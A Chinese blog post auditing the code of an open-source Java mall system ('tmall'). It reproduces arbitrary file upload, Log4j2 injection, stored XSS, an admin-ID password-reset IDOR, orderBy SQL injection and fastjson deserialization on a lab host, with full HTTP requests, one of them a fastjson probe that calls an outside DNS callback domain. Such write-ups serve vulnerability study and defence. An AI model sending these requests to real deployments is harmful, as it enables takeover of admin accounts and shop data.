Java代码审计 | 一次开源商城系统

2025-03-05 2 0

任意文件上传漏洞:

管理员后台文件添加位置:

Java代码审计 | 一次开源商城系统插图

数据包:

POST /tmall/admin/uploadCategoryImage HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Length: 476
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: JSESSIONID=3F9D43F6B1171EB96AC92041E714A3FD; username=1209577113

------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1><%= "Hello, World!" %></h1>
<p>${"This is a JSP page."}</p>
</body>
</html>
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83--

Java代码审计 | 一次开源商城系统插图1

代码分析:

先去根据该接口快速定位:

Java代码审计 | 一次开源商城系统插图2

相关代码如下,很明显后端无任何过滤:

// 上传产品类型图片-ajax
    @ResponseBody
    @RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
    public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {
        String originalFileName = file.getOriginalFilename();
        logger.info("获取图片原始文件名:  {}", originalFileName);
        String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
        String fileName = UUID.randomUUID() + extension;//uid方法重命名
        String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;//拼接上传路径

        logger.info("文件上传路径:{}", filePath);//这里可能存在log4j2漏洞
        JSONObject object = new JSONObject();
        try {
            logger.info("文件上传中...");
            file.transferTo(new File(filePath));
            logger.info("文件上传完成");
            object.put("success", true);
            object.put("fileName", fileName);
        } catch (IOException e) {
            logger.warn("文件上传失败!");
            e.printStackTrace();
            object.put("success", false);
        }

        return object.toJSONString();
    }
}

Log4j2漏洞

根据刚才文件上传的地方可以看到logger.info函数,根据pom.xml文件中符合漏洞存在版本

Java代码审计 | 一次开源商城系统插图3

Java代码审计 | 一次开源商城系统插图4

根据代码可以判断,filePath是拼接了filename,然后filename是我们可以控制的,去找一个payload进行测试:

Java代码审计 | 一次开源商城系统插图5Java代码审计 | 一次开源商城系统插图6

任意文件上传+Log4j2漏洞*2

在后台寻找其他上传功能,发现个人信息管理处可以上传头像

Java代码审计 | 一次开源商城系统插图7

去看后端代码,一模一样的逻辑,只不过就是换了一个接口名称。

Java代码审计 | 一次开源商城系统插图8

漏洞复现:

任意文件上传:

Java代码审计 | 一次开源商城系统插图9

log4j2漏洞:

Java代码审计 | 一次开源商城系统插图10

Java代码审计 | 一次开源商城系统插图11

存储型XSS漏洞*1

在后台所有产品功能这里选择添加产品

Java代码审计 | 一次开源商城系统插图12

构造一个控制台打印的xss,payload

Java代码审计 | 一次开源商城系统插图13

Java代码审计 | 一次开源商城系统插图14

代码分析:

同样的根据请求接口路径去快速定位相对应的功能代码:

请求数据包:

Java代码审计 | 一次开源商城系统插图15

定位对应功能代码:

Java代码审计 | 一次开源商城系统插图16

该模块具体代码如下:

//添加产品信息-ajax.
    @ResponseBody
    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")
    public String addProduct(@RequestParam String product_name/* 产品名称 */,
                             @RequestParam String product_title/* 产品标题 */,
                             @RequestParam Integer product_category_id/* 产品类型ID */,
                             @RequestParam Double product_sale_price/* 产品促销价 */,
                             @RequestParam Double product_price/* 产品原价 */,
                             @RequestParam Byte product_isEnabled/* 产品状态 */,
                             @RequestParam String propertyJson/* 产品属性JSON */,
                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,
                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {
        JSONObject jsonObject = new JSONObject();
        logger.info("整合产品信息");
        Product product = new Product()
                .setProduct_name(product_name)
                .setProduct_title(product_title)
                .setProduct_category(new Category().setCategory_id(product_category_id))
                .setProduct_sale_price(product_sale_price)
                .setProduct_price(product_price)
                .setProduct_isEnabled(product_isEnabled)
                .setProduct_create_date(new Date());
        logger.info("添加产品信息");
        boolean yn = productService.add(product);
        if (!yn) {
            logger.warn("产品添加失败!事务回滚");
            jsonObject.put("success", false);
            throw new RuntimeException();
        }
        int product_id = lastIDService.selectLastID();
        logger.info("添加成功!,新增产品的ID值为:{}", product_id);

没有任何过滤通过获取后直接通过“boolean yn = productService.add(product);”预编译后插入到数据库中。Java代码审计 | 一次开源商城系统插图17

而且在filter曾也没有相关过滤xss代码。

越权漏洞-任意账户密码修改

漏洞复现:

Java代码审计 | 一次开源商城系统插图18

后台密码修改位置,保存并抓包。

数据包如下:

PUT /tmall/admin/account/1 HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 128
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: username=1209577113; username=1209577113; JSESSIONID=B1EFB94A5FF67C3B4FAAF58E7E80C1C4
Priority: u=0

admin_nickname=%E5%A6%82%E6%9C%89%E5%B7%A7%E5%90%88&admin_profile_picture_src=&admin_password=123456&admin_newPassword=123456789

修改请求头“PUT /tmall/admin/account/1”中的1为3后发包,返回true,但是当前用户的密码并没有被修改。

Java代码审计 | 一次开源商城系统插图19

查看数据库,发现用户ID为3的管理员被修改了密码。

Java代码审计 | 一次开源商城系统插图20

实现越权漏洞。

代码分析

相关功能控制层代码如下:

//更新管理员信息
    @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class)
    @ResponseBody
    @RequestMapping(value = "admin/account/{admin_id}", method = RequestMethod.PUT, produces = "application/json;charset=UTF-8")
    public String updateAdmin(HttpSession session, @RequestParam String admin_nickname/*管理员昵称*/,
                              @RequestParam(required = false) String admin_password/*管理员当前密码*/,
                              @RequestParam(required = false) String admin_newPassword/*管理员新密码*/,
                              @RequestParam(required = false) String admin_profile_picture_src/*管理员头像路径*/,
                              @PathVariable("admin_id") String admin_id/*管理员编号*/) {
        logger.info("获取管理员信息");
        Object adminId = checkAdmin(session);//通过session验证管理员身份
        if (adminId == null) {
            return "admin/include/loginMessage";
        }
        JSONObject jsonObject = new JSONObject();
        Admin putAdmin = new Admin();
        putAdmin.setAdmin_id(Integer.valueOf(admin_id));//通过用户传递参数进行赋值
        putAdmin.setAdmin_nickname(admin_nickname);

        if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {
            logger.info("获取需要修改的管理员信息");
            Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));
            if (adminService.login(admin.getAdmin_name(), admin_password) != null) {
                logger.info("原密码正确");
                putAdmin.setAdmin_password(admin_newPassword);
            } else {
                logger.info("原密码错误,返回错误信息");
                jsonObject.put("success", false);
                jsonObject.put("message", "原密码输入有误!");
                return jsonObject.toJSONString();
            }
        }
        if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {
            logger.info("管理员头像路径为{}", admin_profile_picture_src);
            putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));
        }

        logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击
        Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了
        if (yn) {
            logger.info("更新成功!");
            jsonObject.put("success", true);
            session.removeAttribute("adminId");
            session.invalidate();
            logger.info("登录信息已清除");
        } else {
            jsonObject.put("success", false);
            logger.warn("更新失败!事务回滚");
            throw new RuntimeException();
        }

        return jsonObject.toJSONString();
    }
}

先对当前用户的session进行校验,如果为空就直接返回错误信息。(这里注意"adminId"这个参数)相关代码如下:

logger.info("获取管理员信息");
Object adminId = checkAdmin(session);//通过session验证管理员身份
if (adminId == null) {
return "admin/include/loginMessage";
}

然后开始进行修改的相关逻辑:

if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {
logger.info("获取需要修改的管理员信息");
Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));
if (adminService.login(admin.getAdmin_name(), admin_password) != null) {
logger.info("原密码正确");
putAdmin.setAdmin_password(admin_newPassword);
} else {
logger.info("原密码错误,返回错误信息");
jsonObject.put("success", false);
jsonObject.put("message", "原密码输入有误!");
return jsonObject.toJSONString();
}
}
if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {
logger.info("管理员头像路径为{}", admin_profile_picture_src);
putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));
}

logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击
Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了

这里需要注意参数"admin_id"。

这里的问题在于,代码首先通过 session 验证了当前用户的身份,并从中获取了 adminId,用于后续操作。然而,在修改管理员信息的逻辑中,代码使用了用户输入的 admin_id 作为参数来执行更新操作,而不是使用从 session 中获取的 adminId。这种设计导致了越权漏洞的产生。

具体来说,攻击者可以通过构造恶意请求,将 admin_id 参数设置为其他管理员的ID,从而绕过 session 的身份验证机制,直接修改其他管理员的信息。这是因为代码在修改信息时,没有再次验证 admin_id 是否与当前登录用户的 adminId 一致,导致攻击者可以越权操作。

漏洞产生的原因:
身份验证与操作分离:代码在开始时通过 session 验证了用户的身份,并获取了 adminId,但在实际修改操作中,却使用了用户输入的 admin_id,而没有再次验证该 admin_id 是否与当前用户的 adminId 一致。

未进行权限校验:在修改管理员信息时,代码没有检查当前用户是否有权限修改指定的 admin_id。攻击者可以通过修改 admin_id 参数,越权修改其他管理员的信息。

SQL注入漏洞

漏洞复现:

条件查询用户模块

Java代码审计 | 一次开源商城系统插图21

抓包数据包如下:

GET /tmall/admin/user/0/10?user_name=1&user_gender_array=0&user_gender_array=1&orderBy=&isDesc=true HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337
Priority: u=0

SqlMap一把梭。

Java代码审计 | 一次开源商城系统插图22

代码分析:

通过代码框架很容易看出来使用了mybatis,全局搜索${,发现存在一处

Java代码审计 | 一次开源商城系统插图23

往上走,发现select这个方法调用。

Java代码审计 | 一次开源商城系统插图24

再往上走,找到相关service层

Java代码审计 | 一次开源商城系统插图25

发现orderUtil参数,确定是底层存在sql注入漏洞mybatis配置文件风险的调用者

Java代码审计 | 一次开源商城系统插图26

继续往上走找到控制层

Java代码审计 | 一次开源商城系统插图27

控制层代码如下:

//按条件查询用户-ajax
    @ResponseBody
    @RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
    public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
                                  @RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
                                  @RequestParam(required = false) String orderBy/* 排序字段 */,
                                  @RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
                                  @PathVariable Integer index/* 页数 */,
                                  @PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
        //移除不必要条件
        Byte gender = null;
        if (user_gender_array != null && user_gender_array.length == 1) {
            gender = user_gender_array[0];
        }

        if (user_name != null) {
            //如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
            user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
        }
        if (orderBy != null && "".equals(orderBy)) {
            orderBy = null;
        }
        //封装查询条件
        User user = new User()
                .setUser_name(user_name)
                .setUser_gender(gender);

        OrderUtil orderUtil = null;
        if (orderBy != null) {
            logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
            orderUtil = new OrderUtil(orderBy, isDesc);
        }

        JSONObject object = new JSONObject();
        logger.info("按条件获取第{}页的{}条用户", index + 1, count);
        PageUtil pageUtil = new PageUtil(index, count);
        List<User> userList = userService.getList(user, orderUtil, pageUtil);
        object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
        logger.info("按条件获取用户总数量");
        Integer userCount = userService.getTotal(user);
        object.put("userCount", userCount);
        logger.info("获取分页信息");
        pageUtil.setTotal(userCount);
        object.put("totalPage", pageUtil.getTotalPage());
        object.put("pageUtil", pageUtil);

        return object.toJSONString();
    }
}

根据注释可以发现是用户查询模块,注入点参数为"orderBy",并且orderBy使用用户输入。

Java代码审计 | 一次开源商城系统插图28

FastJson漏洞

根据pom.xml文件找到的存在fastjson组件并且版本是存在漏洞风险的版本。Java代码审计 | 一次开源商城系统插图29

fastjson漏洞需要关注的是Json.parseObject​和JSON.parse

Json.parseObject和JSON.parse​ 是阿里巴巴的 fastjson​ 库中的一个方法,用于将 JSON 字符串解析为 Java 对象。fastjson​ 是一个高性能的 JSON 库,广泛用于 Java 项目中。

用法示例:

public static <T> T parseObject(String text, Class<T> clazz);

参数

  • ​text​: 要解析的 JSON 字符串。
  • ​clazz​: 目标 Java 类的 Class​ 对象,表示要将 JSON 字符串解析成的对象类型。

通过全局搜索发现Json.parseObject被使用。

Java代码审计 | 一次开源商城系统插图30

控制层存在漏洞的代码功能模块如下:

//添加产品信息-ajax.
    @ResponseBody
    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")
    public String addProduct(@RequestParam String product_name/* 产品名称 */,
                             @RequestParam String product_title/* 产品标题 */,
                             @RequestParam Integer product_category_id/* 产品类型ID */,
                             @RequestParam Double product_sale_price/* 产品促销价 */,
                             @RequestParam Double product_price/* 产品原价 */,
                             @RequestParam Byte product_isEnabled/* 产品状态 */,
                             @RequestParam String propertyJson/* 产品属性JSON */,
                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,
                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {
        JSONObject jsonObject = new JSONObject();
        logger.info("整合产品信息");
        Product product = new Product()
                .setProduct_name(product_name)
                .setProduct_title(product_title)
                .setProduct_category(new Category().setCategory_id(product_category_id))
                .setProduct_sale_price(product_sale_price)
                .setProduct_price(product_price)
                .setProduct_isEnabled(product_isEnabled)
                .setProduct_create_date(new Date());
        logger.info("添加产品信息");
        boolean yn = productService.add(product);
        if (!yn) {
            logger.warn("产品添加失败!事务回滚");
            jsonObject.put("success", false);
            throw new RuntimeException();
        }
        int product_id = lastIDService.selectLastID();
        logger.info("添加成功!,新增产品的ID值为:{}", product_id);

        JSONObject object = JSON.parseObject(propertyJson);
        Set<String> propertyIdSet = object.keySet();
        if (propertyIdSet.size() > 0) {
            logger.info("整合产品子信息-产品属性");
            List<PropertyValue> propertyValueList = new ArrayList<>(5);
            for (String key : propertyIdSet) {
                String value = object.getString(key);
                PropertyValue propertyValue = new PropertyValue()
                        .setPropertyValue_value(value)
                        .setPropertyValue_property(new Property().setProperty_id(Integer.valueOf(key)))
                        .setPropertyValue_product(new Product().setProduct_id(product_id));
                propertyValueList.add(propertyValue);
            }

具体如下:

"   JSONObject object = JSON.parseObject(propertyJson);"

然后去定位"propertyJson"函数,看看是否可控。

Java代码审计 | 一次开源商城系统插图31

是可控的。

漏洞复现:

点击添加产品后抓包:

Java代码审计 | 一次开源商城系统插图32

在产品属性处构造payload

POST /tmall/admin/product HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 446
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337
Priority: u=0

product_category_id=1&product_isEnabled=0&product_name=123&product_title=123&product_price=123&product_sale_price=123&propertyJson={"aa":{"@type":"java.net.Inet4Address","val":"ayctnlcpyu.lfcx.eu111.org"}}
&productSingleImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductSinglePicture%2F70aae9ec-8a6b-4365-9afb-ae3403755086.jpg&productDetailsImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductDetailsPicture%2F55433b62-c99c-4f85-8df8-6648cb66c5e2.jpg

Java代码审计 | 一次开源商城系统插图33

RCE的方法示例有很多,我就不在这里演示了。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] RedPanda SSTI+Java逆向分析+XXE实体注入
[Meachines] [Easy] Armageddon Drupal 7 RCE+TRP00F权限提升+Snap dirty_sock权限提升
[Meachines] [Easy] Keeper Request Tracker (RT)+KeePass进程残留主密钥泄露+PUTTY-PPK转i…
[Meachines] [Easy] Haystack Elasticsearch cat API+TRP00F权限提升+Kibana LFI+Log…
[Meachines] [Easy] Spectra WordPress Plugins Shell+initctl权限提升
[Meachines] [Easy] Knife PHP 8.1.0-dev RCE+knife权限提升

发布评论